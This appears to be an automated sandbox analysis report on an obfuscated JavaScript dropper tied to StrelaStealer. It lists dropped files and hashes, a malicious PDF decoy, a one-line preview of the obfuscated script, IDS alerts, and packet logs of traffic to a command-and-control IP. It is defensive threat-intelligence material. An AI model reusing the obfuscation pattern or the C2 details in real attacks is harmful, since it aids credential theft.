Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18052), with CRLF line terminators
Entropy (8bit):	4.904684290844539
TrID:
File name:	10076292573176921778.js
File size:	21'508 bytes
MD5:	836cc8756a29fe2acb23d1fdb749ef14
SHA1:	146051d8b177b8cbabcf227796d49d144265dc03
SHA256:	9f7f3ccf9ea7b0a2bcd36f2841a3759038a8cefb01d4dc745c58827df491d909
SHA512:	c64f46b2c375653900cb2f7d522adbc67523e67d267312bd3e006aa906a9ae248aa755bfe9a010370744744e93cac4616e4c65ccc953e8d93d1b4fdfc2b6d23e
SSDEEP:	384:NpstQf4AaW4aoSOop30fSbhisWWM28k0MAhgwfMcnyG9tt3MOC/0NNX9ez7Cwzf7:32dxaoSOop30fSbhisWWM28k0MAhgwfQ
TLSH:	16A296DCA712AA5B0DD96FC263EF00B363E0555C44B88478540BA4C6EE5BBE9B9F1073
File Content Preview:	function vavkx(){bhokr=[1031,3079,5127,4103,2055,3072];var xdjaglb=this[qysssmq+xfdbojnlp+lmmxv+kwaan+uxznyx+koqawnkx+uqmoraxf+zgkrvvl](this[mcdffing+sbhmf+tztre+lmmxv+nivhlax+qysssmq+zgkrvvl][jewqtr+lmmxv+uxznyx+xfdbojnlp+zgkrvvl+uxznyx+iuagh+xbqsvzk+yuv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:37:48.400878+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:37:48.400878+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:37:51.278052+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:37:47.590774059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:47.595624924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:47.595737934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:47.598948956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:47.603650093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400759935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400808096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400821924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400877953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.400903940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400916100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400928974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.400959015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.400995016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.401060104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.401072979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.401084900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.401097059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.401109934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.401144981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.455005884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.455018044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.455028057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.455137968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.496851921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.518062115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518075943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518126965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518152952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.518172026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518182993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518208981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.518347025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518358946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.518395901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.518986940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519004107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519013882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519037962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.519057989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.519187927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519200087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519263029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.519962072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519973040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.519984007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520018101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.520045042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520056963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520085096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.520785093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520905018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520915985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.520924091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.520968914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.543303013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572103024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572140932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572150946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572284937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572293997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.572304964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.572376966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.606538057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.606551886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.606705904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.635732889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635749102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635761976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635778904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635793924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635806084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635834932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.635885000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.635906935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635919094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.635963917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.635972977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636013031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636060953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.636080027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636092901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636130095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.636723042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636779070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636814117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636843920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.636898041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.636943102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.637234926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637269974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637281895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637309074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.637454987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637466908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637476921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637489080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.637499094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.637538910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.638125896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638194084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638206959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638225079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.638264894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.638375998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638386965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638398886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638410091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.638433933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.638464928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.639106035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.639127970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.639141083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.639189959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.639238119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.639281034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.663506985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663532972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663563013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663573027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.663625956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663636923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663671970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.663707972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.663769960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.689620018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.689632893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.689645052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.689675093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.689685106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.689694881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.689732075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.724298000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724327087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724338055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724349022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.724384069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.724493980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724505901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724517107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.724540949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.752737999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752758026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752769947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752856970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.752873898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.752887964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752928972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752939939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.752971888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.752991915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753024101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753094912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753106117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753148079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753163099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753185034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753223896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753443956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753506899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753518105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753557920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753587961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753598928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753626108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753813982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753859997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.753875971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753886938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.753931999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754029989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754040003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754045963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754056931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754093885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754113913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754205942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754261017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754311085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754576921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754647017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754658937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754688978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754769087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754780054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754791975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754813910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.754818916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754848957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.754967928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755012989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.755258083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755276918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755286932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755433083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.755523920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755534887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755544901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755556107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755573988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.755606890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.755736113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755747080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755759001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.755785942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.755809069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.756225109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756237030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756247044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756283045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.756361961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756372929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756383896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756395102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756417036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.756447077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.756587982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756598949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756609917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.756625891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.756666899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.757087946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757106066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757117987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757170916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.757303953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757314920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757327080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757339001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757359982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.757405996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.757447958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757491112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.757520914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757531881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.757575035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.765558958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.778151989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778175116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778187037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778276920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778367043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.778367043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.778386116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778395891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778408051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778439999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.778471947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.778516054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.779429913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.812771082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.812793016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.812804937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.812890053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.812912941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.812925100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813059092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.813122988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813134909 CET	80	49730	193.143.1.205	192.168.2.4
